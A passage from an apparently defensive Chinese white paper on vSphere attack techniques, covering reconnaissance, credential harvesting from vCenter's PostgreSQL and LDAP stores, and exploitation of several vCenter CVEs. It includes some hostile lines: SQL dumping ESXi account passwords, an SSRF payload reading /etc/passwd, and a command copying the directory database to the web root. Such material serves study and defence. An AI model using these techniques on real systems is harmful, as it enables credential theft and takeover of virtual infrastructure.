放的常用端口 5480。 当发现具体的资产后,首先会通过信息收集手法获得各种敏感信息,并以这些 信息为基础进行权限获取,比如命令执行、文件上传、利用 API 操作虚拟机等。 在获取到权限后,通过翻找数据,伪造 cookie 或者创建用户操作获取 web 权 限,获取 Windows 机器的 hash,或者直接进入虚拟机进行信息搜集,制作专属的 密码本,便于后期的内网渗透。最后进行虚拟机逃逸和持久化,为后渗透创造条件, 甚至获取到真实机器的权限。 在 vSphere 实际环境中,也可以将 ESXI 配置为使用像 Active Directory 这样 的目录服务来管理用户。如果要在每台主机上都创建本地用户帐户,则涉及到必须 在多个主机间同步帐户名和密码的问题。若将 ESXI 主机加入到 Active Directory 域中,则无需再创建和维护本地用户帐户。使用 Active Directory 进行用户身份验 证可以简化 ESXI 主机配置,并能降低可导致出现未授权访问的配置问题的风险。 当使用活动目录时,将主机添加到域时用户会提供活动目录凭据以及活动目录服务 器的域名。 在上述由 Active Directory 活动目录管理的 vSphere 环境中,在拿下 vSphere 之后,可以和与其对接的域发动攻击,获得更大的攻击成果。 4.vSphere 攻击技战法 15 4.2 vSphere攻击手法一览 信息探测 权限获取 权限维持 防御绕过 虚拟机权限获取 SOAP版本探测 CVE-2021-21985 LDAP新增账户 禁用日志记录 Kon-Boot利用 密码爆破 CVE-2021-22005 强制重置用户密码 日志清除 VMDK文件挂载 密码喷洒 log4j2 JNDI注入 高权限角色赋予 关闭安全监控软件 快照读取HASH PSQL敏感信息查询 利用Automation API操作虚拟机 强制重置管理员密码 Syslog-Hook 利用PE获取虚拟机权限 LDAP敏感信息查询 利用Web Services API操作虚拟机 恶意vib安装包 非常用API功能调用 vCenter备份文件泄露 利用PowerCLI操作虚拟机 恶意系统镜像 EAM用户服务文件读取 利用SSH登陆ESXI 计划任务持久化 vCenter服务扫描 CVE-2021-21972 新增公钥 PSQL数据库凭据泄漏 Provider-SSRF 新增影子账户 Struts2-045 Golden SAML 标识源凭据窃取 异常SAML请求 操作系统漏洞利用 CVE-2020-3992 CVE-2019-5544 CVE-2021-21994 4.3 信息探测 作为攻击的初始环节,信息探测是整个攻击阶段的必由之路,攻击者可以通过一种或多种技术手段对 vSphere 基础设施的版本,敏感文件,用户,密码,服务端口等信息进行探测,本小节对攻击者常用的信息探测 攻击手段进行分析。 4.3.1 SOAP版本探测 VMware vCenter 与 ESXI 都是一款基于 web 的产品,它为开发者提供了一种 Lab Manager SOAP API 接口 来实现对 Web Service 的访问,客户端根据 WSDL 文档描述生成一个 SOAP 请求消息,并使用 XML 作为通信协 议发送给我们的 Web 服务器,当我们的 Web service 解析 SOAP 请求后,会将我们的应答消息通过 HTTP 返回 给我们的客户端。 攻击者可以利用此接口向 sdk 路由发起 SOAP 请求,而我们 vCenter 与 ESXi 的所有版本的 sdk 目录下都存 放了关于相关的版本信息内容,如果此时我们的 vCenter 或 ESXI 的版本过低,一些历史漏洞并没有及时修复, 攻击者很有可能通过历史漏洞向我们的服务发起攻击进而获取其权限。 利用方法 发送在 XML 数据中存放了 soap 请求包,其中 body 中 RetrieveServiceContent 标签存放了我们要检索的 服务内容,xmlns 中定义了命名空间,type 中存放了我们的访问对象,示例如下 : ITDR 之 vSphere 16 vCenter版本探测 4.vSphere 攻击技战法 17 ESXI版本探测 4.3.2 密码爆破 vCenter 默认安装后,其 vCenter SSO 登录界面会自带有账号密码登录策略,其中密码最长生命周期为 90 天,且密码必须得满足复杂度要求,如果攻击者想直接从 Web 暴力破解登录则会受到密码锁定策略的影响,如 果失败登录 5 次则会直接重定向到 403,导致暴力破解失败。但是 SSO 可以将身份验证和主要数据查询联合到 Active Directory 或 LDAP 实例中。vCenter 安装完成后会默认安装 LDAP 数据库,可以通过 LDAP 来进行查询, 此时我们可以换个思路通过 LDAP 进行暴力破解。 利用方法 首先可以查看到 SSO 的密码策略和锁定策略,登录 vCenter 左上角菜单栏 -> 系统管理 -> 配置 -> 本地账户 -> 密码策略和锁定策略。 ITDR 之 vSphere 18 接下来使用 BurpSuite 进行爆破,此时登录五次后账号就会被锁定,回复 403 通过 LDAP 认证来进行账号密码爆破,我们可以通过 ldapsearch 写一个简单的 bash 脚本来爆破一下密码, 其中 pass.txt 中存储了我们的密码,-w 为我们要爆破的密码,-D 为我们的要爆破的账号 DN,如果口令正确, 输出查询结果的个数,如果口令错误,返回验证错误:ldap_bind: Invalid credentials (49),最终成功爆破出 administrator 的密码为 Zawx@2022 4.vSphere 攻击技战法 19 4.3.3 密码喷洒 密码喷洒原理与我们的前面的密码爆破原理相同,在 SSO 登录界面是无法进行密码喷洒的,但是我们同样 可以通过 ldap 来进行认证查询,利用 ldapsearch 工具将用户名保存在一个文档中,然后通过 ldap 循环认证, 最终破解出密码。 通过一个简单的 bash 脚本,利用 ldapsearch 来进行暴力破解,其中 user.txt 为我们的账户名,-w 为我们 要爆破的密码,-D 为我们的要爆破的 DN 账号,如果口令正确,输出查询结果的个数,如果口令错误,返回验证 错误:ldap_bind: Invalid credentials (49),最终成功爆破出 administrator 的密码。 4.3.4 PSQL敏感信息查询 vCenter 提供了 Windows 和 Linux 两种不同操作系统的安装镜像文件,在安装的时候都默认安装了 PostgreSQL数据库。今年Pentera Labs的高级安全研究员Yuval Lazar发现了一个关于vCenter的敏感信息泄漏, 该研究员在获得了一个低权限的”vSphere-ui”用户的 shell 后,找到了一个包含有客户端 PostgresDB 明文账 号密码的文件,默认位于”/etc/vmware-vpx/vcdb.properties”文件下,连接数据库后发现其里面存储了大量 ITDR 之 vSphere 20 有关 ESXI、虚拟机和 vCenter 的信息。在 Postgresql 的 vpx_host 表中存放了 vCenter 与 ESXI 之间第一次连接 时自动创建的高级特权账户 vpxuser 的账号密码。 但是此密码是通过加密生成的,经过逆向分析,发现其加密方式为 OpenSSL 对称加密 EVP,加密密钥存放在”/ etc/mware-vpx/ssl/symkey.dat”文件下,最终成功解密其明文密码,获得一个管理 ESXI 的高权限用户账户, 并成功接管 ESXI 管理的所有虚拟主机。 利用方法 获取 PostgreSQL 数据库账号密码,不同操作系统存放密码的位置如下所示,但是其账号密码只能在本地服 务器登录。 获取加密密钥 key,Windows 与 Linux 存放的位置如下: 4.vSphere 攻击技战法 21 连接数据库,-U 表示用户名,-h 表示主机地址,-d 要连接的数据库名,工具路径 在数据库中我们可以看到正在开机的 IP 地址 select * from vpx_ip_address; 已经安装的虚拟主机及其版本信息 select * from vpx_vm; ITDR 之 vSphere 22 输入”\l”命令查看当前的数据库,VCDB 就是我们存放 ESXI 账户密码的数据库 使用 select ip_address,user_name.password from vpx_host; 查询 vpxuser 用户密码 接下来使用解密脚本对其进行解密,其中 symkey.dat 为我们的解密密钥,password.enc 为我们 ESXI 加密 后的密码,password.txt 为我们解密之后的输出文件。 最后就可以使用该特权账号密码成功登陆 ESXI 4.vSphere 攻击技战法 23 4.3.5 LDAP敏感信息查询 VMware 提供了一种 vCenter 管理员与应用程序的身份认证方法——SSO(vCenter Single Sign-On),它是 VMware Cloud Suite 的一种组件。SSO 可以将身份验证和主要数据查询联合到 Active Directory 或 LDAP 实例中。 vCenter 安装完成后会默认安装 LDAP 数据库,里面存储了登录用户的一些详细信息,而 LDAP 的凭据信息是使 用 likewise 进行存储。如果凭据信息保存不当,被恶意的攻击者拿到,则可能会造成敏感用户的身份信息泄漏。 同时攻击者还可以通过 LDAP 来进行用户身份的添加,删除,或修改等其他危险操作。 利用方法 首先将我们的 LDAP 凭据信息导出,dcAccount 为我们连接的主机名,dcAccountPassword 为 LDAP 的密码 连接LDAP数据库 利用图形化工具 LDAP Browser 进行连接,这里的 User DN 填写我们在 likewise 中找到的 dcAccountDN, password 填写 dcAccountPassword 的值 ITDR 之 vSphere 24 可以查看我们所有的账户,其中 objectclass 表示所继承的类,CN 表示类的实例,SN 表示所在的域, userPrincipalName 为全限定域名,userAccountControl 表示用户账户控制,整个结构及属性与 AD 域 中的 LDAP 有些相似,熟悉 AD 中 LDAP 的人应该较为了解。 还可以看到一些域控相关信息,其中域控就是我们的 vCenter 主机,其 DN 为 ”cn=192.168.100.90,ou=Domain Controllers,dc=vsphere,dc=local”, 4.vSphere 攻击技战法 25 同时可以看到一些在 vCenter 存在的一些服务主体, 一些 vCenter 账号密码策略也可以看到,密码最长使用时间,最大长度,最小长度等 还有一些服务账号,例如 DNS,LDAP,VMCA 等一些服务账号信息 通过收集这些敏感信息我们可以在后面一些攻击中提供一些新的攻击手法,进而获取目标系统。 ITDR 之 vSphere 26 4.3.6 vCenter备份文件泄露 vCenter 提供了两种备份文件的方式,一种是基于计划的文件备份,另一种是手动立即备份,支持的备份协 议有 FTPS,HTTPS,SCP,FTP,NFS,SMB 和 HTTP,备份路径格式为协议 :// 服务器 IP 地址 : 端口号 / 共享 文件夹路径。在计划文件备份中可以设置全备份和差异备份,备份时间,还有是否加密备份文件。 如果我们在备份的时候未选择加密备份文件,并且未将我们的备份文件放置安全的位置,造成备份文件泄漏, 攻击者可以解压此备份文件,查找一些重要配置文件例如 vcdb.properties 配置文件,接着配置一些其他漏洞, 获取其管理的 ESXI 账号密码,从而接管整个 ESXI。 利用方法 备份文件泄漏在实战环境中需要进行寻找,此处作为复现,首先正常搭建一个 wingftp 服务器,创建一个用 户 test,并且修改此用户权限,允许这个用户创建目录文件。 然后让 vCenter 进行立即备份,备份位置为我们的 ftp 服务器地址,此时我们不进行加密备份 4.vSphere 攻击技战法 27 备 份 成 功 然 后 解 压 里 面 的 config_files.tar.gz 进 入 etc\vmware-vpx\vcdb. properties 可以看到 PostgreSQL 的连接账号密码,不同系统存放 PostgreSQL 配 置文件位置如下: 4.3.7 EAM用户服务文件读取 在 vCenter 版本在 6.5.0a-6.5.0f 中,存有一个未授权文件读取漏洞,漏洞原 理是在 EAM 目录对应的一个名为 vibServlet 的 servlet,此 servlet 对应有一个 ITDR 之 vSphere 28 FileServlet 的类,这个类 doGet 方法在进行读取文件的时候直接从 url 中获取文件 路径,并且未对其进行过滤直接交给 id 参数进行文件读取,造成未授权文件读取。 攻击者可以借助此漏洞读取 PostgreSQL 数据库的配置文件 vcdb.properties, 其里面存储有 PostgreSQL 数据库的账号密码,如果 PostgreSQL 数据库配置了可 以外部连接此数据库,则可以直接获取到其数据库中有关 ESXI 的敏感凭据信息。 利用方法 攻击手法类似,不同点在于不同系统环境下的文件路径: 4.3.8 vCenter服务扫描 vCenter 安装好后会开放一些特定的服务端口,如 443,5480(vCenter Server Appliance Web 控制台 ),389(LDAP 服务端口 ),902(管理主机端口)等,我们 可以通过这些开放端口来作为 vCenter 服务特征,类似于在针对 AD 域攻击时扫描 88、389 端口识别域控。 并且对于其中的一些端口,可能面临弱口令以及一些其他的服务缺陷漏洞,攻 4.vSphere 攻击技战法 29 击者可以通过这些服务特征来批量搜索网络中的 vCenter 服务器并进行攻击,同时 攻击者也可以借助一些空间测绘工具来进行搜索,然后批量对 vCenter 发起攻击。 常见的 vCenter 开放的服务端口,以及服务描述。 端口 协议 描述 22 TCP/UDP SSHD 的系统端口。此端口仅供 vCenter Server Appliance 使用。 80 TCP vCenter Server 需要使用端口 80 进行直接 HTTP 连接。端口 80 将请 求重定向到 HTTPS 端口 443。如果您无意中使用 http://server(而非 https://server),这种重定向将非常有用。 88 TCP VMware 密钥分发中心端口。 389 TCP/UDP 此端口在 vCenter Server 的本地和所有远程实例上必须处于打开状态。 这是 vCenter Server 组的目录服务的 LDAP 端口号。 如果此端口上正 在运行另一服务,则最好移除该服务,或将其端口更改为其他端口。可 以在从 1025 到 65535 的任意端口上运行 LDAP 服务。 如果此实例充 当 Microsoft Windows Active Directory,请将端口号从 389 更改为从 1025 到 65535 的任一可用端口。 443 TCP vCenter Server 系统用于侦听来自 vSphere Web Client 的连接的默认端 口。要使 vCenter Server 系统接收来自 vSphere Web Client 的数据,请 在防火墙中打开端口 443。 vCenter Server 系统还使用端口 443 监控来 自 SDK 客户端的数据传输。 端口 443 还用于以下服务: * WS-Management(也需要打开端口 80) * 第三方网络管理客户端与 vCenter Server 的连接 * 第三方网络管理客户端对主机的访问 514 TCP/UDP Windows 上 vCenter Server 的 vSphere Syslog Collector 端口以及 vCenter Server Appliance 的 vSphere Syslog 服务端口。 636 TCP 对于 vCenter Server 增强型链接模式,这是本地实例的 SSL 端口。如果 此端口上正在运行另一服务,则最好移除该服务,或将其端口更改为其 他端口。 可以在从 1025 到 65535 的任意端口上运行 SSL 服务。 902 TCP/UDP vCenter Server 系统用于将数据发送到受管主机的默认端口。受管主机 也会通过 UDP 端口 902 定期向 vCenter Server 系统发送检测信号。 服 务器和主机之间或各个主机之间的防火墙不得阻塞此端口。 不得阻塞 vSphere Client 和主机之间端口 902。vSphere Client 使用此端口显示 虚拟机控制台。 903 TCP 当 vSphere Client 直接连接到 ESXi 主机时,从 vSphere Client 访问虚 拟机控制台。 1514 TCP/UDP Windows 上 vCenter Server 的 vSphere Syslog Collector TLS 端口以及 vCenter Server Appliance 的 vSphere Syslog 服务 TLS 端口。 2012 TCP vCenter Single Sign-On(SSO) 的控制接口 RPC 2014 TCP 所有 VMCA(VMware Certificate Authority)API 的 RPC 端口 2020 TCP/UDP 身份验证框架管理。 5480 TCP vCenter Server Appliance Web 控制台 (VAMI) 6500 TCP/UDP ESXI Dump Collector 端口 6501 TCP Auto Deploy 服务 6502 TCP Auto Deploy 管理 7444 TCP 安全令牌服务 8010 TCP vSAN Observer ( 可选 - 只有在运行 vSAN 时才适用 ) 8088 TCP 工作流管理服务 9443 TCP vSphere Web Client HTTPS 11711 TCP VMware Directory Service (vmdir) LDAP 11712 TCP VMware Directory Service (vmdir) LDAPS ITDR 之 vSphere 30 对于通过空间搜索引擎识别 vCenter 的方式,可以通过 body 中含有字符 串”VMware vCenter”,与 title 中含有字符串”+ ID_VC_Welcome +”来进行识别。 4.4 权限获取 攻击者经过第一阶段的信息探测,收集足够的目标信息随即进入权限获取阶段, 这一阶段的攻击者为了获得目标的初始访问权限通常会使用各种 Nday 和 0day 对 vSphere 服务进行攻击。 4.4.1 CVE-2021-21985 CVE-2021-21985 是 vSAN 客户端存在的一个漏洞,vSAN 是 VMware 用于存储 虚拟化的一个组件,该组件下的 vSAN Health Check 插件接口存在未授权访问漏洞, 可以利用不安全反射造成代码执行漏洞,该漏洞影响版本如下 : ・ VMware vCenter Server 7.0 系列 < 7.0.U2b ・ VMware vCenter Server 6.7 系列 < 6.7.U3n ・ VMware vCenter Server 6.5 系列 < 6.5 U3p ・ VMware Cloud Foundation 4.x 系列 < 4.2.1 ・ VMware Cloud Foundation 4.x 系列 < 3.10.2.1 该漏洞的原理为 vSAN Health Check 控制器 com.vmware.vsan.client.servi- ces.ProxygenController 将 路 径 参 数 beanIdOrClassName、methodName 传 入 invokeService 方 法 中, 在 invokeService 方 法 从 beanFactory 中 获 取 beanId- OrClassName 指定的 Bean 实例,利用反射调用该实例的 methodName 方法,调 用方法的参数由 methodInput 和 file 参数指定。 4.vSphere 攻击技战法 31 漏洞利用了 beanFactory 中名为 vsanQueryUtil_setDataService 的 bean,该 bean 的定义如下 该 类 为 org.springframework.beans.factory.config.MethodInvokingFacto- ry-Bean 的 实 例, 继 承 自 org.springframework.util.MethodInvoker, 分 别 利 用 MethodInvoker 类 中 setTargetObject、setTargetMethod、setArguments、pre- pare、invoke 五个方法可实现任意类中静态方法的调用。 ITDR 之 vSphere 32 最简单的 getshell 方法就是利用 javax.naming.InitialContext.doLookup 静态 方法连接远程 jndi 服务器,利用 jndi 注入造成代码执行。 利用方法 搭建 jndi 服务器 使用 payload 进行攻击,篇幅原因我们在文内就不贴代码,此处 payload 编写 较为简单,参考上述原理即可。 命令执行 4.4.2 CVE-2021-22005 vmware-analytics 服务包括从各种 vSphere 组件收集并上传到 VMware 分析 云中的遥测数据,以及管理客户体验提升计划 (CEIP) 的组件,该组件以 root 用户 身份运行,通过 CVE-2021-22005 漏洞可以利用任意文件上传和目录穿越实现命令 执行,该漏洞影响版本如下 : ・ vCenter Server 7.0 < 7.0 U2c build-18356314 ・ vCenter Server 6.7 < 6.7 U3o build-18485166 ・ Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3) ・ Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2) ・ 6.7 vCenters Windows 版本不受影响 以 下 为 该 漏 洞 的 产 生 原 理,vmware-analytics 组 件 控 制 器 com.vmware. ph.phservice.push.telemetry.server.AsyncTelemetryController 对应 API 为 ana- lytics/telemetry/ 4.vSphere 攻击技战法 33 该控制器 handleStageSendRequest 方法接收三个参数 _v、_c、_i,该方法 功能是将请求体内容通过 log4j 写入日志文件中,日志的命名为 /var/log/vmware/ analytics/prod/_c<collector id>_i<instance name>.json collector id 和 instance name 分别是 _c 和 _i 参数的值,通过添加 ../ 字符可 以实现目录穿越,在任意目录下写入指定内容的文件,传入 webshell。 通过 linux 写计划任务可以实现命令执行,由于该服务由 root 用户身份启动, 命令执行的也是 root 用户身份。 利用方法 发起 http 请求,利用 cron.d 上传文件到 /etc/cron.d 文件夹创建计划任务反弹 shell。 ITDR 之 vSphere 34 等待一定时间后,查看文件夹 4.4.3 log4j2 JNDI注入 vcenter 日志记录组件使用了存在 cve-2021-44228 漏洞的 log4j 组件,在处理 SAML SSO 请求时会记录访问请求发起的来源,来源的 ip 由 X-Forwarded-For 请 求头获取,用户可控导致产生 log4j jndi 注入漏洞,该漏洞影响版本如下 : ・ vCenter Server 6.5.x ・ vCenter Server 6.7.x ・ vCenter Server 7.x 处理 SAML 请求的 sso 控制器 SsoController 继承自 BaseSsoController 路 径 /websso/SAML2/SSO/ 路 由 到 sso 方 法, 在 sso 方 法 中 调 用 父 类 的 processSsoRequest 方法 4.vSphere 攻击技战法 35 processSsoRequest 会记录对 SAML 请求解析的错误日志,跟进 writeLogin- FailEvent 方法 writeLoginFailEvent 中调用 EventWriter 类静态方法 writeEvent,记录了用 户名,XFF 头,描述,日志级别为 INFO,以及日志类型,EventWriter 类定义在 vmware-identity-auditevents-7.0.0.jar 中 首先利用传入参数实例化一个 Event 类,再调用其重载方法传入这个实例, Event 类定义也在这个 jar 包中 ITDR 之 vSphere 36 由于日志别为 INFO,所以会走到 default 分支,将 Event 实例转为 json 字符 串在调用 info 方法记录该事件 vmware-identity-auditevents-7.0.0.jar 使用的日志组件为 log4j 2.13.1 版本, 存在 CVE-2021-44228 也就是 log4shell 漏洞。 4.vSphere 攻击技战法 37 记录的日志中 client 字段是从请求头的 X-Forwarded-For 字段获取,该字段用 户可控,并且 vmware 中默认日志级别为 info 所以会触发 log4shell 漏洞。 注意路径中 vsphere.local 为默认域名,如果目标不是默认域名的话解析获取 域的策略将会出现异常,无法走到 processSSORequest 的流程,攻击也将会失败。 ITDR 之 vSphere 38 利用方法 利用 jndi 注入 getshell,vcenter 中 java 版本基本都是高于 8u191,使用 jndi 远程加载类的方法基本都是不可行的,但是 vcenter 自带 tomcat 组件,所以可以 利用 ELProcessor 来执行 el 表达式绕过 jndi 限制。 搭建 jndi 服务器 发送 payload,getshell 4.vSphere 攻击技战法 39 4.4.4 利用Automation API操作虚拟机 VMware 在 vSphere 6.0 中引入了 REST API,方便管理人员进行操作、监控, 从 vSphere7.0U2 版本开始,更新了 REST API。 vSphere7.0 参考链接: https://developer.vmware.com/docs/vsphere-automation/latest/ vSphere6.0 参考链接: https://vdc-download.vmware.com/vmwb-repository/dcr-public/1cd28284- 3b72-4885-9e31-d1c6d9e26686/71ef7304-a6c9-43b3-a3cd-868b2c236c81/doc/ index.html 在 攻 击 过 程 中 获 取 到 vCenter 管 理 员 账 户、 密 码, 可 以 利 用 api 接 口 对 vSphere 进行操作,包括:查看虚拟机、创建虚拟机等敏感操作。 在 vSphere6.0 下以添加本地账户为例:通过接口 https:/{server}/rest/com/ vmware/cis/session 获取 Session 值,通过管理员账户凭据可以获得 session 值, 后续接口调用利用该值即可。 利 用 接 口 https://{server}/rest/appliance/techpreview/local-accounts/user 实现添加本地账户的效果,在请求头中添加 vmware-api-session-id 字段请求。 ITDR 之 vSphere 40 在 vSphere7.0 以查询虚拟机为例:通过接口 https://{server}/api/session 获 取 Session 值,通过管理员账户凭据可以获得 session 值,后续接口调用利用该值 即可。 利用接口 https://{server}/api/vcenter/vm 实现查询虚拟机配置的效果,在请 求头中添加 vmware-api-session-id 字段请求。 4.vSphere 攻击技战法 41 ITDR 之 vSphere 42 4.vSphere 攻击技战法 43 在低版本 ( 低于 vSphere7.0U2) 无法实现以下操作 ◑ 查看虚拟机文件 ◑ 删除虚拟机文件 ◑ 向虚拟机上传文件 ◑ 从虚拟机下载文件 ◑ 在虚拟机中执行命令 4.4.5 利用Web Services API操作虚拟机 VMware 在 vSphere 中推出 vSphere Web Services API,适配不同版本,用 来 管 理 和 操 作 vSphere。 官 方 链 接:https://developer.vmware.com/apis/968/ vsphere 同时官方也封装了多个 SDK,用于读取和调用:https://github.com/vmware/ pyvmomi 在 攻 击 过 程 中 获 取 到 vcenter 管 理 员 账 户、 密 码, 可 以 利 用 api 接 口 对 ITDR 之 vSphere 44 vSphere 进行操作,包括:查看虚拟机、创建虚拟机等敏感操作。 这里调用封装的 SDKpyvmomi 来进行操作,以查看虚拟机为例。 通 过 pyVim 调 用 SmartConnect 获 取 登 录 信 息, 通 过 pyVmomi 调 用 ContainerView 来获取虚拟机信息。 4.4.6 利用PowerCLI操作虚拟机 PowerCLI是Vmware官方提供的用于自动化管理 vSphere的Powersehll模块, 包括对 vSphere 网络、存储、虚拟机、客户操作系统等管理操作。PowerCLI 用作 PowerShell 模块的集合,其中包含 700 多个命令来管理 VMware 基础架构。 4.vSphere 攻击技战法 45 官方文档:https://developer.vmware.com/powercli 攻击者在获取 vcenter 管理员凭据,可以使用 PowerCLI 远程管理虚拟机,包 括创建、删除、远程执行命令等操作。攻击者远程连接 vcenter 多进行如下操作: ✓ 读取虚拟机的配置 ✓ 查看虚拟机文件 ✓ 删除虚拟机文件 ✓ 向虚拟机上传文件 ✓ 从虚拟机下载文件 ✓ 在虚拟机中执行命令 Windows 主机需要安装 Powershell 模块 VMware.PowerCLI。安装指南: https://developer.vmware.com/powercli/installation-guide 判断 VMware.PowerCLI 是否安装成功: ITDR 之 vSphere 46 具体命令参数可以参考官方使用文档: https://developer.vmware.com/docs/powercli/latest/products/ vmwarevsphereandvsan/ 常用的PowerCli命令如下: ✓ Connect-VIServer 连接虚拟化平台 ✓ Get-VM 显示虚拟机列表 ✓ New-VM 创建虚拟机 ✓ Get-VMHost 显示 ESXi 主机列表 ✓ Get-Cluster 显示集群列表 ✓ Get-Datastore 显示存储列表 ✓ Get-ResourcePool 显示资源池 连接 vcenter 查看虚拟机列表。 4.vSphere 攻击技战法 47 远程连接虚拟机执行命令。 4.4.7 利用SSH登陆ESXI VMware ESXI 的 SSH 服务在安装的时候默认是关闭的,因为大部分服务我们 都可以在 web 端进行管理,但是在进行一些配置文件修改的时候,我们需要通过 SSH 远程到 ESXI 服务器,而不用到机房进行配置,另外 ESXI 也有可能被一些其他 漏洞利用,直接在其 root/.ssh 目录下写入公钥,从而直接免密登录。同时如果开启 SSH 并且暴露在公网上面的则有可能面临暴力破解的风险。 一种方式是可以通过控制台进行开启 SSH,首先进入到安装 ESXI 时的控制 台 -> 点击 F2 输入密码进入到管理界面 -> 点击下选项键来到 Troubleshooting Options -> 找到 enable ssh 确认键开启 SSH。 ITDR 之 vSphere 48 在 ESXI 的 web 端同样可以开启 SSH,由于在登录到图形化界面时,已经输 入 ESXI 的 root 用户名和密码,所以图形化界面具有修改所有配置的权限,与到 机房通过终端控制台进行修改是等效的,web 端开启 SSH 后会出现一条提示 SSH 已在此主机上启用,只有出于管理目的的需要才应禁用 SSH,此时点击点用安全 Shell(SSH) 即可关闭该 ESXI 的 SSH 服务。 同样在vCenter下也可以操作ESXI主机开启SSH,此处是vCenter7.0 进行测试, 低版本可能不同,在安全配置文件中开启,登录 vCenter 后,选择要开启 SSH 服务 的主机,点击配置,在配置页面左侧栏中选择”系统”下的”服务”,找到 SSH 服务, 然后点上面启动。 4.vSphere 攻击技战法 49 ESXI SSH 服务开启后,可以直接通过 22 端口登录 ESXI,进行后续的操作。 4.4.8 CVE-2021-21972 该漏洞是由于 vCenter 中离线安装 vRealize Operations 组件时用于上传安装 包 ova( 实际上是 tar 压缩文件 ) 的接口存在未授权访问漏洞,并且服务端对上传的 文件进行解压时存在目录遍历漏洞导致的任意文件上传。攻击者可以在未授权的情 况下利用文件上传漏洞发送 tar 压缩包,服务器进行解压缩时搭配任意目录遍历漏 洞可以上传 WebShell 或者将 SSH 公钥获取权限,该漏洞影响版本如下 : ・ vCenter Server7.0 < 7.0.U1c ・ vCenter Server6.7 < 6.7.U3l ・ vCenter Server6.5 < 6.5.U3n。 文件上传漏洞 上传接口为 /ui/vropspluginui/rest/services/uploadova,解压后也没有对文 件名 entry.getname() 做出过滤,导致任意文件上传漏洞。 目录遍历漏洞 压缩包在解压时会将文件的名字 entry.getname() 直接与 /tmp/unicorn_ova_ dir 目录名字进行拼接,没有任何过滤。 ITDR 之 vSphere 50 利用方法 先使用 make_trversal_path 方法构造路径,因为 Windows 跟 Linux 路径符 号不相同,总之都是构造了五个目录返回加上文件名,在 archive 方法中 tarf.add() 函数把文件写入 exploit.tar 同时把文件名改成构造的路径,最后使用 post 方法把 exploit.tar 传入漏洞接口。 4.4.9 Provider-SSRF 漏 洞 是 由 于 h5-vcav-bootstrap-service 组 件 的 getProviderLogo 函 数 中 未对 provider-logo 参数做校验,攻击者可利用该漏洞在未授权的情况下,构造 恶意数据执行 SSRF 攻击,最终造成服务器敏感信息泄露等危害,该漏洞影响 VMware vCenter Server 7.0.2 版本。 该漏洞的原理为在 /provider-logo 路径下的的的 url 参数没有经过过滤,直接 传入方法并创建 URL 对象,随后通过 getInputStream 方法去访问 URL 对象,整个 传递过程中参数完全可控,造成了 ssrf 漏洞。相关代码如下 4.vSphere 攻击技战法 51 利用方法 直 接 向 指 定 路 由 拼 接 payload 进 行 利 用 https://{vCenterserver}/ui/vcav- bootstrap/rest/vcav-providers/provider-logo?url=file://etc/passwd ITDR 之 vSphere 52 4.4.10 Struts2-045 在 vCenter 版本小于 6.0 版本,存有 Struts2-045 漏洞,攻击者可以通过此漏 洞来进行远程代码执行,从而获取到 vCenter 服务器权限。 Struts2 默认处理 multipart 上传报文的解析器为 Jakarta 插件,其所在的 类 为 org.apache.struct2.dispatcher.multipart.jakartaMultiPartRequest, 但 是 Jakarta 插件在处理文件上传 (multipart) 的请求时会捕捉异常信息,并对异常信息 进行 OGNL 表达式处理。当 content-type 错误时会抛出异常并带上 Content-Type 属性值,可以通过构造附带 OGNL 表达式的请求导致远程代码执行。 Struts2 中的入口过滤器 StrutsPrepareAndExecuteFilter 类会对我们输入的 request 对象进行封装。 接着我们跟进 wrapRequest() 方法中 最后我们跟进到 Dispatcher.java 中看到如果我们的 content_type 满足不为空, 且包含有 multipart/form-data 会进入到 getMultiPartRequest() 方法中,通过配置 struts.pultipart.parser 属性,可以指定不同的解析类,而默认的解析类就是 org. apache.struts2.dispatcher.multipart.JakartaMultiPartRequest 类。 4.vSphere 攻击技战法 53 继续跟进会来到 buildErrorMessage() 方法中,此时已经将我们文件上传拦截 下来并进入到 findText 中处理拦截信息。 我 们 一 直 跟 进 findText 这 个 函 数, 来 到 struct\src\xwork-core\src\main\ java\com\opensymphony\xwork2\util\ LocalizedTextUtil.java, 这 里 会 进 行 我们的在 multipart/form-data 中的错误信息进行处理,其中错误信息存放在 defaultMessage 中。 一直调用到 translateVariables 方法中,此方法中使用了 ognl 的 {} 或 %{} 中 ITDR 之 vSphere 54 的内容为 ognl 表达式,所以 POC 中使用 % 或 $ 都可以触发漏洞。 最终我们在 evaluate 执行了我们的 ognl 表达式。 利用方法 可以按照上述逻辑,构造经典的 s2 POC,进行利用。 4.vSphere 攻击技战法 55 4.4.11 标识源凭据窃取 标识源是 vCenter 服务用户认证服务来源,可以使用标识源将一个或多个域附加到 vCenter Single Sign- On。域是用户和组的存储库,可以由 vCenter Single Sign-On 服务器用于用户身份验证。 添加标识源必须要有一个标识源域内合法的凭据,并且必须能够读取用户和组属性,标识源受到 vCenter idm(identity manager) 服务管理,凭据存储于系统域 LDAP 数据库中。 当攻击者获取 vCenter 控制权限后,可以利用标识源凭据对标识源所在域进行攻击,一些没有安全意识的管 理员会利用高权限账号(如 AD 域管理员)作为标识源凭据,这时候如果攻击者获取了 vCenter 权限,标识源域 也将沦陷,即使是普通账号也会为攻击者提供一个攻击入口。 利用方法 标识源凭据加密的实现位于 vmware-identity-idm-server.jar 使用 STS 加密 Key 进行加密,加密的方式为 AES/ECB/NoPadding。 加密使用的 Key 也存储在 LDAP 数据库中 ITDR 之 vSphere 56 使用前文提到的解密算法进行解密 4.4.12 SAML证书认证 vCenter 支持 saml 单点登录,vCenter 中 saml 服务的 idp(Identity Provider) 证书存储于 ldap 数据库中, 一种常见的攻击手法是从 ldap 数据库中提取 idp 证书,再构建用户 administrator 的 saml 认证请求,利用提取 的 idP 证书对 saml 请求进行签名,获取管理员 cookie 登录 vCenter 管理控制台。ldap 数据库默认存储位置为 攻击者一般通过为管理员用户创建 SAML 请求,并使用提取的 IdP 证书签署请求,最终通过 vCenter 服务器 进行身份验证以获得有效的管理员 cookie。 利用方法 首先将 mdb 文件复制到 web 目录 cp /storage/db/vmware-vmdir/data.mdb /etc/vmware-vpx/docRoot/en/ 4.vSphere 攻击技战法 57 通过 web 路径 https://[vcenter_ip]/en/data.mdb 下载,利用工具提取 IDP 证书并签名 运行脚本会生成三段证书文件,最终生成 cookie,使用该 cookie 进行认证登录 ITDR 之 vSphere 58 4.5 权限维持 与 PTES 攻击模型中后渗透阶段类似,持久化是 vSphere 后渗透中一个重要的攻击手段,攻击者在获取 vSphere 管理员权限后,针对 